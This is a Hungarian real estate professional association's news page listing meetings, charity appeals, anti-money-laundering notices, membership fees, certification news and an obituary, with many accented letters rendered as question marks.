A NAV Pénzmosás Elleni Információs Irodája felhívása:

Az EU 208/2014/EU rendeletével korlátozó intézkedéseket vezetett be egyes ukrajnai szervezetekkel, személyekkel kapcsolatban.
A lent található dokumentumban felsorolt személyek, szervezetek teljes korlátozása minden vagyoni eszközükre vonatkozik!
http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2014:066:0001:0010:HU:PDF

 

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete közgy?lésére 2014 02. 27-én,

Budapesten, a STEX étterembe várjuk sok szeretettel tagjainkat.

 A Közgy?lés kezdete 18 óra

Ha nem határozatképes a Közgy?lés, 18 óra 10 perckor megismételt Közgy?lés.

-„ Határozatképtelennek min?sül? közgy?lés esetén a változatlan napirenddel összehívott, megismételt közgy?lés akkor határozatképes, ha azon legalább tíz tag részt vesz. Amennyiben a meghívott tag nem tud jelen lenni, úgy a szavazatát és saját elképzelését nem tudja érvényesíteni, a megismételt közgy?lés a megjelentek számára való tekintet nélkül határozatképes lesz az eredeti napirendekben szerepl? kérdésekben. Ha a megismételt közgy?lés létszáma nem elegend?, 2/3-os többséghez kötött kérdésekben nem dönthet.”

Részletek: >>>>>>>>

 

Ételosztás és karitatív felhívás.

Támogatók>>>>>>>>>

A MIÉSZ csapata együttérz?, ahol tud segít. Most is azt kérjük minden tagunktól, hogy a következ? eseményt személyesen is támogassák, mint ahogy az elmúlt években folyamatosan kivették a részüket, segítve a rászorulókat..
A MIÉSZ támogatásával az Európai Sorstársak KHE szervezésében ismét ételosztást tartunk december 14-én, szombaton a Telekí téren

  • Csabai Rendezvényszervez? Kft(Kolbászfesztivál, Békéscsaba, Hégely Sándor üv.)
  • Diplomata Házastársak Szervezete Budapest (Biljana Griovska)

    részletek: >>> http://miesz.hu/miesz/arckepcsarnok/7816
  • a Nemzeti Közszolgálati Egyetem  Hadtudományi és Honvédtisztképz? Kar
  • a Budapest F?város VIII. kerület Józsefvárosi Önkormányzata
  • a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete
  • a Royalgép Kft
  • Békéscsabai Kolbászfesztivál-és még sok magánszemély, cég, szervezet segítségével.További támogatókat keresünk,élelmiszer és pénz adományokkal.
    Támogatásokat  a Axa Bank 17000019-11741725 MIÉSZ számlára
    élelmiszer felajánlásokat az info@miesz.hu címre szeretnénk kérni.  vagy t.: 20/9283 266Képek régebbi étlosztásokról.
    https://picasaweb.google.com/bekesibela/Ingatlanmikulas2009EtelosztasEsDemonstracioPMOTMNyocker

    https://picasaweb.google.com/bekesibela/2012December15EtelosztasIngatlanmikulas8KerSorsTarsak

 

 

 

2013 11 28 Budapest és a Stex étterem

Zsúfolt nap volt a csütörtök. Délel?tt Balatonboglárról felvinni BP-re a december 14-i ételosztáshoz az adományokat,

több helyen a támogatásokkal kapcsolatos látogatások, majd az esten az el?adások és a további fontos egyeztetések..
Az esten:
Póka László  (Nem adom a házam mozgalom)

Tóth András ((tárgyalásos, megyegyezéses megoldások)

Hatoscsatorna – devizaadósok és a Kúria döntése

részletekhez katt ide>>>>

 

 

 

 

2013 11 28 Stex étterem!

Meghívó

Ingatlanos kollégáink között vannak radikálisok, és vannak óvatosabban lépked?k is.
Radikális adósvédelem, vagy nyugodt er? az adósokért?
Az estbe él?ben bekapcsolódik a Lakásvásár cím? m?sor a Hatoscsatornán. A minden csütörtökön 18.30 és 19 óra között él?ben jelentkez? országosan fogható televíziós m?sort  Borsi László vezeti https://www.facebook.com/lakasvasartv?fref=ts   http://www.hatoscsatorna.hu/

A találkozón

  • Bemutatkozások, rövid bevezet?
  • Az ingatlan eladásokhoz egy id?ben szorosan hozzátartozott a hitelek ügyintézése is. Egy régebbi fórumunkon felmerült, hogyan lehet összeegyeztetni a hitelügyintézésben elért sikereket és a devizaadósok problémáját.

 

 

2013 szeptember: újabb fórum…

Ez történt Pesten, egy ingatlanos esten, a Stexben

Miért nem támogatja a szervezett szakma a Cerean konferenciát?
Mi helyzet devizahitel-fronton?
Milyen lehet?ségei vannak egy közvetít?nek?

Szenvedélyes felszólalások, jó ételek és minden, ami összeköt…
részletek az estr?l>>>>

 

 

 

 

 

 

 

 

 

 

 

__________________________________________________

 

 

Pénzmosás Elleni Információs Iroda (NAV)letölthet? mintaszabályzata ingatlanpiaci szerepl?k számára

 

Az ingatlanközvetít?kre vonatkozó mintaszabályzatok

 

 

 

 

 

 

 

 

 

Letölthet?:

http://www.nav.gov.hu/nav/penzmosas/felugyeleti_tevekenyseg A

 Továbbiak: >>>>

 

 

 

Közgy?lés 2013

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete közgy?lése 2013 07 27-én,

 

Balatonbogláron, a BB régi központjában, a megújult központi borpincénél  kerül megrendezésre.

Az est támogatója

BogláriBorpince, Borozó és Pinceétterem

Balatonboglár legnagyobb borpincéje.

A Közgy?lés megközelíthet?sége, részletek:>>>>>>>>>>

 

 

 

 

 

Az els? ÉMI-TÜV SÜD min?sített csoport vizsgázott.

A szakmai min?sítés az eddigi képzések és szakmai tudás elismerése, segítve ezzel a megbízókat, segíti a képzett szakemberek kiválasztásában.A min?sítés kezd? csoportja12 jelentkez? szakemberrel indult.
Közülük 8 szakember vizsgázott sikeresen.

Köszönetet mondunk a magaszint? oktatás megszervezéséért Netkovszky Kálmánnak (Füti Omega) Matolcsi Mártának (ÉMI-TÜV SÜD), a gördülékeny vizsgáztatásért és szakmai munkáért Bonyhády Eleknek (BKIK 8. ker) és a komoly szakmai segítségért és együttm?ködésért Dr Sztranyák Józsefnek (MIT, MIK)
A min?sítettek listája és a min?sítés részletei:    >>>>>>>>>>>>>
Panasz, hozzászólás, közérdek? vélemény írása itt>>>

Ha be szeretnél lépni a MIÉSZ-be

Olvasd el: Mit nyújt a MIÉSZ?>>>>
info@miesz.hu, 0036 20 9283 266

2013 május 30: Találkozó, Szakmai tanúsítás, körbetartozások, levelez?listák

Május 30-án több érdekes téma kerül terítékre:

  • Szakmai tanúsítás a megbízók korrekt tájékoztatása és a jogosulatlan szakmai tevékenység megszüntetése céljából.
  • Körbetartozások – nemcsak az épít?iparban.
    (a “megbízási szerz?dések” el?adáskör 2. része)
  • Levelez?listák: a kicsik harca nagyokkal? Minden, amit err?l tudni lehet.További részletek:>>>>>>>>>

Szakmai fórum volt április 25-én, Budapesten, a Stexben. Mi a baj a szerz?désünkkel? Hogyan módosulnak a jogszabályok?

  Aki még nem vesztett pert jutalék, vagy szerz?dés miatt, az talán nem is igazi ingatlanközvetít?.

A mai napig megoldatlan kérdés a megbízási szerz?dések tartalma, van, ahol a Legfels?bb Bíróság határozatával  nyer a szakmabeli, van, ahol még felhasználatlan szerz?dések miatt perel az ügyészség.
Tovább a beszámolóhoz: >> http://miesz.hu/miesz/rendezvenynaptar/3615

 

 

Információ az ingatlantulajdonosoknak

A MIÉSZ felhívja az ingatlantulajdonosok figyelmét, hogy az eladó ingatlanokra vonatkozó megbízási szerz?dések megkötésénél ne a mennyiséget, hanem a min?séget tekintsék els?rend? szempontnak. Ha több irodát bíz meg az eladással, akkor számítani kell arra, hogy eladás esetén több irodának kell díjat fizetnie.
Körültekint?en válasszák meg azt az irodát, amelyet megbíznak.
A megbízási szerz?désekre nincs központi minta, szinte minden egyes eset egyedi.
A MIÉSZ egyedi esetekben nem foglal állást, célunk egy áttekinthet?, világos szakmai munka el?segítése. Amennyiben egyedi esetekre vonatkozó ügyekkel, panaszokkal keresnek lehet?séget, úgy a Fogyasztóvédelmi Hivatalnál, jogi eljárás esetében bíróságnál van lehet?ség jogorvoslatra. Figyelmükbe ajánljuk, hogy a Társadalmi Ingatlanfelügyelet április hónapban indítja el civil szervezetekkel együttm?ködve a fogyasztói érdekvédelmi portált, ahol panaszokat lehet közzétenni.

 

ÉMI-TÜV SÜD min?sítés az ingatlanszakmában

A MIÉSZ és az ÉMI-TÜV SÜD közös min?sítési programot indít, melynek célja:

A különböz? intézmények által szervezett képzések keretében elsajátított szakmai ismeretek – ingatlanközvetít? szakért? illetve értékbecsl? szakért? – szakmai, piaci elismertetése egységes követelmény rendszer összeállításával és a követelmények teljesítésének ÉMI-TÜV SÜD Akadémia általi tanúsításával.

Az el?írt feltételeknek megfelel? szakért? az ÉMI-TÜV SÜD Akadémia vonatkozó vizsgakövetelménye szerinti vizsgát tehet és a sikeres vizsga eredményeként

„Min?sített értékbecsl? szakért?”

„Min?sített értékbecsl? kiemelt szakért?”

„Min?sített értékbecsl? vezet? kiemelt szakért?”

„Min?sített ingatlanközvetít? szakért?

megnevezés? ÉMI-TÜV SÜD Akadémia tanúsítványt vehet át.tovább>>>

 

Meghívó szakmai találkozóra 2013 jan. 31

Minden hónap utolsó csütörtöke a találkozók id?pontja.

Az est 18 órakor kezd?dik Az el?adások: katt ide>>>>>

 

 

 

Kis, ingatlanhirdetési oldal figyel?

Hazánkban számtalan portál foglalkozik ingatlanhirdetések bemutatásával. Melyik oldal a leglátogatottabb, melyikre mutat a legtöbb link, számtalan szempontrendszer mérhet?. Ebb?l merítünk, próbálunk kapaszkodót adni a hirdet?knek. A Google keres? els? oldalas találatai “ingatlan” címszó alatt  (csak hirdetési portálok)

  1.      ingatlan.com
    2.     sokingatlan.com
    3.     ingatlan.NET
    4.     expressz.hu
    5.     ingatlanbazar.hu
    6.     ingatlanhorizont.hu
    8.     ingatlanok.hu
    9.     ingat lan1.hu 

Vajon mit mutatnak a számok?
Összehasonlítás>>>>

 

Az önkormányzati ingatlangazdálkodáshoz kapcsolódó anyagok, linkek ide kattintva elérhet?k

 

 

 

 

Kiváló résztvev?k – kiváló el?adók – az önkormányzati ingatlangazdálkodási konferencia margójára…

Az önkormányzatok munkatársai rendkívül jól fogadták a szokványostól kissé eltér? témákat.

Egy konferencia az ott megjelen? emberek hozzáállásától lesz jó, vagy rossz…

 

Tovább a beszámolóra: >>>>>>>>

 

 

?szi programok

harmadik negyedév programjai

2012 novenber 22-23
Önkormányzatok ingatlangazdálkodása a gyakorlatban

 

Meghívó egy  különleges konferenciára

A szokásostól eltér?, hogy az önkormányzati szakemberek meghívásán túl nagyon szeretnénk, ha a képvisel?testületek tagjai is aktívan részt vennének az el?adásokon, hisz így szembesülhetnek azokkal a rendkívül összetett és nehezen kezelhet? problémákkal, melyekre talán nem volt rálátásuk eddig. 

Köztudott, hogy a települési képvisel?k sokszor teljesen más szakterületen dolgoznak, így a döntéseknél laikusként néha gátolhatják – teljesen jóhiszem?en – azokat a határozati javaslatokat, amelyek késedelme is károkat okozhat. A szakért?k néha vért izzadnak, hogy az általuk jól átlátott folyamatokat megértessék a testülettel, de ez nem mindig sikerül, még a mindkét részr?l megnyilvánuló jóakarat mellett sem. Ebben is szeretnénk segíteni.

 

Önkormányzati ingatlangazdálkodás a gyakorlatban.>>>>>>részletekhez kattints ide


2012 szeptember 27 17 órától havi találkozónk

Vendégünk Csorba Dániel, Borsi László, Bányai Mihály, Simon József, dr Sztanyák József
Havonta megrendezzük a szakmai esteket.

A találkozó aktuális szlogenje egy somogyi mondás: Voltam már jobban is, az se tetszett….

Kiábrándult, néhány résztvev?t ígértek az el?rejelzések,ehelyett teltházas, jókedv?, optimista hangulat  uralkodott, a kollégák rég nem látott frisseséggel, aktívan vettek részt az érdekes el?adásokban.

Az est részletei >>>fotókkal 

 

2012 október 25 havi találkozónk

2012 novenber 22-23 Önkormányzatok ingatlangazdálkodása a gyakorlatban

Gyakorlati kérdések – hogyan pályáztassuk a szakért?ket? -mennyire kell körültekint?nek lenni? pénzmosás és ingatlanértékesítés, -mennyit ér a temet?? – ajándék, vagy súlyos feladat az átadott ingatlan?
– vagyongazdálkodás, vagy szabadrablás? – utánam az özönvíz-
az el?adók kiemelt figyelmet fordítanak a gyakorlati kérdésekre, a hétköznapokban felmerül? feladatokra, a változó szabályozókra, a küls?s szakemberekkel való együttm?ködésre, a társadalmi elvárásokra

 

 

 

 

 

 

 

 

 

 

2012 november havi találkozónk

2012 december: tervezett Európai Sors-Társak szervezése: ételosztás, karácsonyi m?sor

 

 

 

 

 

Májusi találkozónk

Havi találkozóink a Stexben

A májusi találkozónk élménybeszámolója:

17 órától: közös tudásbázis – tanuljunk egymástól..

18 órától: vendégünk Dávid ferenc, a Vosz f?titkára

Az estr?l a részletes beszámoló, sok képpel:

>>> http://miesz.hu/miesz/majusi_talalkozonk/6314

 

 

 

 

 

Szakmai Azonosító kártya: hamarosan elkészül

A 2012-es évi Ingatlanszakmai Azonosító Kártyát a www.ingatlankozvetitoi.nevjegyzek.eu oldalon található adatokkal és fotóval készítjük, kérjük, hogy tagjaink frissítsék a fotót, az adatokat, mert ez fog szerepelni a kártyán.

 

 

 

 

 

 

 

 

 

 

Tagjaink a szakmai feltételeknek megfelelnek, ezt igazoljuk az Ingatlanszakmai Azonosító Kártyával.

Akik 2012-ben rendezték tagdíjaikat, azoknak elküldjük, el?tte kérjük, hogy a www.ingatlankozvetitoi.nevjegyzek.eu oldalon frissítsék adataikat!

Az új kártyán a nemzetiszín szalagon nem lesz év megjelölés, mivel ez a kártya több évre szól. Az évenkénti azonosítást – megújítást az évenként ráragasztott hologrammos bélyeg jelenti. folytatás >>>>>>

 

 

Energia tanúsítvány

Néhány fontos kérdés az energia tanúsításról – dr Pataki Szabolcs

Dr. Pataki Szabolcs, az Energiatanúsító Központ vezet?je: Az energetikai min?ségtanúsítványt az épületek energetikai jellemz?inek meghatározá­sáról szóló 7/2006. (V. 24.) TNM rendelet és az épületek energetikai jellemz?inek tanú­sításáról 176/2008. (V?. 30.) Korm. rendelet „hívta életre”, s elkészítésének kötelezettségét is ezen jogszabályok írták és írják el? máig is.  Miért szükséges?   >>>Részletek:

 

III. Önkormányzati Vagyongazdálkodási Konferencia

A Nemzeti Közszolgálati Egyetem Közigazgatástudományi Kara, és Budapest F?város Vagyonkezel? Központ Zrt. meghívója

Tisztelt Hölgyem! Tisztelt Uram!

Tisztelettel meghívjuk Önt és kedves munkatársait a III. Önkormányzati Vagyongazdálkodási Konferenciára.

A helyi önkormányzatok gazdálkodási tevékenységében egyre jelent?sebb a vagyongazdálkodási tevékenység. Az önkormányzati vagyonnal való gazdálkodás eredményessége jelent?s mértékben függ az önkormányzatok gazdálkodással kapcsolatos döntéseit?l >>>a meghívó további része

 

Energia tanúsítványok készítése, igénylése.

2012-t?l kötelez? energia tanúsítványok – lehet?ség a szakmabeliek részére b?víteni a bevételt és az ajánlataikat.

 

Fontos: a tanúsítványokon kívül lehet?ség van közvetít?i, értékbecsl?i, hitelezési,

jogi ágazatainkkal együttm?ködni.

 

Energia-tanúsítvány megrendelése el?tt olvassa el a tájékoztatót awww.munkakozosseg.hu oldalon.

 

Az Ingatlan Munkaközösség keretein belül a szükséges energia tanúsítványokról az információk a www.munkakozosseg.hu oldalon találhatók

 

 

 

Ügyészségi vizsgálatok a megbízási szerz?dések ügyében, hangulatkeltés a sajtóban

Ügyészségi vizsgálatok az ország több pontján az ingatlanközvetít?i megbízási szerz?dések ügyében – a MIÉSZ megkereste a legf?bb ügyészt, Polt Pétert

Az elmúlt id?szakban sorra érkeztek panaszok tagjainktól, mivel az ország különböz? pontjain a Megyei Ügyészségek az ingatlanközvetít?i megbízási szerz?déseket kifogásolták és esetenként eljárást indítottak kollégáink ellen.

Egy tendenciát lehet észlelni, mint pl. a HVG-ben pár napja megjelent rendkívül rosszindulatú címben:  Közérdek? keresetet indított ingatlanközvetít?k ellen a GVH amely teljesen visszájára fordítja a sok kollégát vegzáló off-shore céget érint? határozatot…

Ezek ellen a hangulatkeltések ellen tiltakozik a MIÉSZ:

olvasható>>>>

eredeti levél>>>>>

 

 

 

Szakmai biztosítások, tagdíjak 2012

2012-ben a MIÉSZ és a Biztosító által kialakított díjak minden bizonnyal örömet okoznak a kollégáknak, hisz igyekeztünk olyan díjakat kialakítani, amelyek a jelen gazdasági helyzetben is megfizethet?k.

Példa a díjakra:

5 millió Ft-nál kisebb árbevételnél

egyéni vállalkozó 50 millió Ft-os limitnél 10 000,- Ft + 45 500,- Ft = 55 500,- Ft összesen, biztosítás és tagdíj együtt.

Ha céges, akkor ugyanezekkel a feltételekkel: tagdíj: 20 000,- Ft biztosítás díja: 45 500,- Ft összesen 65 500,- Ft az éves díj.

Díjtáblázat itt>>>>:

 

Részletek:

http://www.miesz.hu/miesz/szakmai_biztositas/4512

Fotó: http://www.rhinopropertygroup.com

 

 

Közlemény

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete kijelenti, hogy a rent2ownlakásprogramhoz nem kapcsolódik, annak létrehozásától, m?ködtetését?l elhatárolódik.

A MIÉSZ-re való hivatkozás bármilyen formája hamis, amennyiben ilyen tartalmú nyilatkozattal találkoznak, kérjük, továbbítsák az info@miesz.hu címre.

Budapest, 2011. 11. 28.

Békési Béla elnök

 

Egyre határozottabb a tiltakozás: a MIÉSZ is a devizaadósokért

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete a most szervez?d? Devizaadósok Érdekvédelmi Szövetsége mellé áll

A MIÉSZ egyetért azzal, hogy a deviza alapú hitelszerz?dések megtéveszt?ek voltak és tapasztalható,  hogy e szerz?dések következményeként cégek, vállalkozások ezrei mennek tönkre, családok tömegei kerültek és kerülnek a kilakoltatás veszélyhelyzetébe.

Nem csak az emberi szolidaritás – bár ez is elég lenne – hanem a Szakma saját piaci érdeke is azt diktálja, hogy ne zúduljon 150.000 lakásárverés a hazai ingatlanpiacra.

Ennek következményeként ugyanis ellehetetlenül a hazai lakóingatlan állomány, s?t még az ingatlanpiacot is további károk érhetik, azt teljesen bedöntheti, miáltal az Ingatlanszakma elveszítheti évekre a munkáját.

A MIÉSZ és a DÉSZ együttm?ködési szerz?dést kötött.

 

A Devizaadósok Érdekvédelmi Szövetsége szervez?i m?ködtetik a www.devizaados.eu weboldalt, ahol a – http://www.devizaados.eu/index.php/regisztracio – regisztrációt követ?en

bankonként és szerz?dés típusonként csoportosulnak a devizaadósok annak érdekében, hogy részt vehessenek a szövetség munkájában, majd  ezen belül pertársaságaikban, egyben beadhassák az illetékes bíróságokra kereseteiket.

 

 

A MIÉSZ nevében

www.miesz.hu

 

Békési Béla elnök

Seötér Ágnes alelnök

Hajdú Tamás alelnök

 

Hogyan lehet valaki MIÉSZ tag?

http://miesz.hu/miesz/szakmai_felelossegbiztositas/4514

 

Öt évesek lettünk!!!

 

Kedves MIÉSZ alapítók, tagok, szimpatizánsok, és mindenki aki olvas minket!

Nagy örömmel és büszkeséggel közöljük Veletek, hogy az els? öt évünket köszönthetjük!

Öt év nagy id? egy egyesület életében. Az a tíz ember, aki öt éve aláírta els?ként, alapítóként a megalakulásunkat szentesít? dokumentumokat ma igencsak büszke lehet. Egy sikeres csapat születésénél bábáskodhatott.

Az öt év hozott feladatokat, nehézségeket, kritikákat, irigyeket is, de els?sorban hozott barátokat, fontos feladatokat, legy?zhet? és legy?zött akadályokat.

Nagyon sok mindenr?l lehetne itt most írni, de aki velünk együtt élte át ezt az öt évet az úgyis emlékszik mindenre.

Idén az alapítás helyszínén, ünnepélyes keretek között kivánunk megemlékezni a jeles évfordulóról.

Várunk minden kedves tagunkat, barátunkat, érdekl?d? kollégánkat, és családtagjaikat is Visz községbe a Csacsifarmra, július kilencedikén délután négy órától, egy kötöttségekt?l mentes igazi baráti találkozóra.

A részletekr?l, a jelentkezés módjáról a levelez?listán folyamatosan értesítünk mindenkit!

 

Ünnepeljünk, barátkozzunk, szórakozzunk együtt július 9- én a Csacsifarmon!

A meghívó:>>>>>>>>>>>>

 

Sok szeretettel várunk mindenkit!

 

Békési Béla elnök

Seötér Ágnes alelnök

Hajdú Tamás alelnök

 

 

 

 

2011 03 31 MIÉSz találkozó

Sok kérdést már megoldottunk, nem volt soha ilyen jó dolgunk…mégis az ember néha érzi….

2011 március 31.én a Füti Omega székházban érdekes témákban nézhettünk körül.

A meghívottak mindegyike sikeres volt, itt láthattuk a FEOSZ csinos képvisel?jét, Dombi Ágoston kíváló tollú szakújságírót, a felt?n?en fiatal, de remek logikájú dr Polgárdi Gábor ügyvédet a Drótos és Társa ügyvédi irodából, a szép Batta Mari, aki az értékbecslés buktatóit elemezte, és végül, de nem utolsósroiban a sármos Gy?rfi Pál, az OMSZ szóviv?je..

A sok kérdés csak jött, sorjázott, igazán remek volt ez az est, köszönjük a résztvev?knek!

Beszámoló az estr?l: klikk ide!!

Fotók az estr?l: KLIkk ide!!

Videók (kis felbontású)

 

 

Mi veri ki a biztosítékot az ingatlanszakmában?

Témák: Vendégünk Gy?rfi Pál, a Ment?szolgálattól, továbbá: méltatlan helyzetben az értékbecsl?k, félrevezet? médiahírek szakmai lapokból

Az ingatlanközvetítés stresszes munka.

(De még mennyire!) Bizonyára éreztek már szívkörnyéki fájdalmat, amikor az infarktus kerülgeti az embert. Ismerünk kollégákat, akik már túl vannak infarktuson, szívrohamon.
Ezért is hívtuk meg a 2011. március 31-én, 18 órától tartandó szokásos estünkre Gy?rfi Pált, az OMSZ szóviv?jét, (aki kiváló kommunikációjával és érdes humorával kiváló médiaszerepl?vé vált) hogy mutassa be , hogyan tudunk segíteni azokon, akit nemcsak kerülget, hanem el is ér egy infarktus, vagy hasonló hirtelen veszély.

Országos program a felvilágosítás és gyakorlati bemutató, a mi szerény eszközeinkkel ezt is bemutatjuk.
Természetesen mi is tudunk segíteni a ment?söknek.
Addig is tanulmányozzuk a technikát!

http://www.mentok.hu/file.php?type=

showpage&file_id=141

Mi veri ki a biztosítékot?

Amikor az egyik szakmai lap, amely elvileg az ingatlanszakmából él, leközöl egy teljesen hazug és félrevezet? cikket, melynek kritikus részeit ráadásul egy fogyasztóvédelmi szervezet tanult szóviv?je fogalmaz meg.
A MIÉSZ teljes egészében elutasítja az ilyen megközelítést és kéri azoknak a portáloknak a szerkeszt?it, akik az alábbi cikket megjelentették, kritika nélkül átvették, hogy tegyék meg a helyreigazítást. Felmerül az újságírói felel?sség és a tájékozódás hiánya.

Meghívtuk a cikk íróját és több médiaszerepl?t, újságírót, komoly beszélgetések várhatók.
Részletek:
http://ingatlan.net/magazin/2011/03/hogy-verik-at-a-

lakasvasarlokat/

Amikor a szabályozók hiányosságai miatt méltatlan helyzetbe kerül? ingatlanértékbecsl?k munkáját min?sítik, miközben az elmúlt hosszú évtizedekben tudatosan nem volt valódi gazdája a szakmának és még a szakember sem tudja sokszor, merre léphet, hogyan dolgozzon.
Az értékbecsl?t kritizálják, holott a legtöbbször egyértelm?en politikai-gazdasági visszaélés történt,melyre éppen elég példa volt az eltelt évek alatt.
Kinek az érdeke???
Részletek: http://nol.hu/lap/vilag/20110218-ertekbecsles_orosz

_ingatlanhirdetesi_ujsagok_alapjan

Ezekr?l és még sok másról is lesz szó, a részletes programot és a meghívott el?adóink névsorát kedden küldjük. Találkozunk március utolsó napján, este 18 órakor.

További részletek kedden.

Folyt köv….

 

Hogyan lehet valaki MIÉSZ tag?

A MIÉSZ tagság sok el?nnyel jár,

(részletek ide kattintva )

a szakmai kontrollon túl a kedvezményes flotta és a felel?sségbiztosítás is nagyon népszer?.

A tagsággá válás kezdete: azt szükséges igazolni, hogy a jelölt megfelel-e a jelenlegi törvényes szakmai minimumoknak.

Regisztráció a MIÉSZ- szervezetébe

Katt ide

Aki beregelt, az taggá válhat, amennyiben a tagdíjat befizette:

Bankszámlaszám: Axa Bank 17000019-11741725 (el?fordult, elvétve, hogy megvétózták a jelentkez? tagságát, ebben az esetben a tagdíj visszautalásra kerül )

  • MIÉSZ egyszer? (egyéni) tagság díja: 10 000,- Ft (ezt azoknak ajánljuk, akik nem gyakorolják a szakmát, nincs vállalkozásuk, de végzettségük, regisztrációjuk van és szeretnék megtartani a szervezet nyújtotta lehet?ségeket
  • MIÉSZ min?sített (egyéni) tagság: 14 000,- Ft, a tagdíj tartalmazza a 6150,- Ft érték? alap értékel?i felel?sségbiztosítást.
  • MIÉSZ min?sített (egyéni) tagság: 15 600,- Ft, a tagdíj tartalmazza a 7 600,- Ft -os alap közvetít?i felel?sségbiztosítást
  • MIÉSZ min?sített (egyéni) tagság: 16 740,- Ft, a tagdíj tartalmazza a 8740,- Ft-os alap közvetít?i és értékbecsl?i felel?sségbiztosítást
  • MIÉSZ céges tagság 20 000,- Ft, ebben nincs felel?sségbiztosítás, – vagy a fentiek közül választ, vagy kér biztosítási ajánlatot (érdemes el?bb bekérni az ajánlatot, mivel van egy szervezet, ahol valamivel kedvez?bbek a biztosítási díjak, de a mi szervezetünknél a tagsági díjak kedvez?bbek, ha csak ez a szempont, érdemes mérlegelni.) biztosítási
    ajánlat kérése itt
  • Telefonflottához
    ajánlat kérése itt

Kérjük, hogy csak azok jelentkezzenek, akik rendelkeznek a szakmai feltételekkel, mert ezek teljesítése nélkül a szervez?lk és a jelentkez?k pusztán egymás energiáit emésztik – ebben a tekintetben merev a rendszer.

 

Nekrológ kedves tagunkért, kollégánkért

Ottlakánné Kulcsár Erzsébet emlékére

Származási hely: MIESZ2011

 

 

 

1953 – 2011

 

Erzsike (vagy inkább Böbe, ahogy barátai nevezték) nagyon korán itt hagyott bennünket.
Az átlagosnál küzdelmesebb élete volt, melyben minden körülmények között igyekezett helytállni.
Munkáját nagy elhivatottsággal végezte. Elhatározott valamit és szívósan meg is valósította. Így lett magasépít? üzemmérnök, kés?bb igazságügyi ingatlanforgalmi szakért?, majd EUFIM min?sített értékel?, ingatlanvagyon-értékel?. Munka mellett nem könny? tanulni, ráadásul vidékr?l Debrecenbe, vagy Budapestre utazva. Erzsi Szarvason született, de Békéscsabán élt sokáig, nemrégen Szegedre költözött.
Édesanyjához nagyon er?sen köt?dött, e miatt Anyukája néhány évvel ezel?tt bekövetkezett halála nagyon megviselte. A családja, feln?tt gyerekei és kis unokája nyújtott kárpótlást e veszteségért.
Súlyos betegségér?l még barátainak sem sokat beszélt, ezt is inkább egy megoldandó feladatnak tekintette, bizakodva a gyógyulásban. Sajnos most az egyszer az akarat és kitartás sem segített, legy?zte ?t a betegség. Békéscsabán, a Ligeti temet?ben nyugszik. Kedves, mosolygós egyénisége hiányozni fog nekünk, emlékét kegyelettel meg?rizzük.
Erzsike

A tagjaink sorába azért lépett, mert itt megtalálta azt a közösséget, ami segítséget és az összetartozás érzését adta. Bár nagy volt a távolság lakhelye és a találkozók színhelyei között, sokszor ott volt, sokszor élvezhettük visszafogott humorát, kedvességét. Eljött Viszre, a csacsifarmra, Balatonlellére a kulturális találkozónkra és számtalanszor a budapesti találkozóinkra, részt vett a Kolbászfesztivál díjnyertes csapatában. Nemrég és utoljára a Márványmenyasszony étteremben találkoztunk, ahol egyáltalán nem látszott rajta, hogy baj van
Folyamatosan képezte magát szakmailag, példaérték? volt hozzáállása.
.
Mindenki szerette. Hiányozni fog.
Pihenj békében!
MIÉSZ elnökség

Ingatlan hírek, találkozók, események

Van- cigánykérdés az értékbecslésben, panamák, kiszolgáltatott értékbecsl?k


Idézet a cikkb?l:

„rendkívül fontos dolog egy önkormányzati döntés a helyi adókról, és van még egy kimondottan kényes kérdés: a helyi etnikai összetétel, magyarul: van-e cigányság a környezetben.

 

A cikket a www.5×5.hu oldalon olvashatják

 

 

  • Januári találkozónk az Ingatlanszakma megítélésér?l, a hálózatok m?ködésér?l

Hogyan mutatjuk be magunkat, a kívülállók hogyan ítélnek meg bennünket?

Lehet-e együttm?ködni a hálózatokkal, illetve meghatározhatók-e közös célok?

 

A cikket erre az oldalra kattintva olvashatják:Januári találkozások

 

 

  • Hol adózzak? Melyik önkormányzat mit ajánl, hogy odacsalogassa a vállalkozókat?

 

Ingatlanszakemberek létrehozták azt az oldalt, ahol az önkormányzatok bemutathatják, milyen kedvezményekkel tudják odacsalogatni a vállalkozókat, mivel a helyi adók és a kedvezmények egy vállalkozás túlélését, míg a település részér?l munkahelyeket és bevételeket
Részletek: www.holadozzak.hu

 

  • Ingatlanszakmai telefonflotta – csak MIÉSZ tagoknak, hihetetlen árakkal

Több lehet?ség van viszonylag olocsón telefonálni, de ezeken is túltesz a MIÉSZ flotta.

Sok tízezret takaríthat meg vele egy – egy cég, vállalkozás, kiemelve azt, hogy flottatagok egymás között ingyen, még szorosabbá tehetik a kapcsolatot, üzleti együttm?ködét.

Részletek, feltételek, adatlapok kérése:

http://bit.ly/mieszflotta

 

2011-es év, mit nyújtunk, tagság, biztosítások,

A tag- és tagdíjnyilvántartások, valamint a 2010-ben elindult szakmai felel?sségbiztosítások nyilvántartását a MIÉSZ – mivel nincs fizetett titkárság – már nehezen tudta megoldani, és így a Dunaholding Informatikai Stúdió -ismertebb nevén az Origoingatlan m?ködteti, amely cég régóta, megbízható ingatlaninformatikai szolgáltatásokat végez.

A MIÉSZ mit nyújt?

 

A pénzmosoda m?ködik… A csilláron is lógtak..

Pénzmosás elleni eljárások – MIÉSZ rendezvény, Ingatlan.com támogatással Nagy érdekl?dés jellemezte a MIÉSZ rendezvényét

Fórum támogató: ingatlan.com

Az Ingatlanszakma résztvev?it komolyan érdekelte, hogy a pénzmosás elleni rendeletek betartásait nem valami félreértésb?l ellen?rzi-e a VPOP egyre több szakembernél.

 

Ezekre a kérdésekre rendkívül sok érdekl?d? várta a válaszokat.A fórum részletei itt!

 

 

Meghívó a pénzmosás elleni küzdelem fórumára

2010 szeptember 30-án szakmai fórum

a VPOP Országos Parancsnoksága szakemberei segítségével  az ingatlanszakmában kötelez? pénzmosás elleni eljárásokról tájékozódunk.

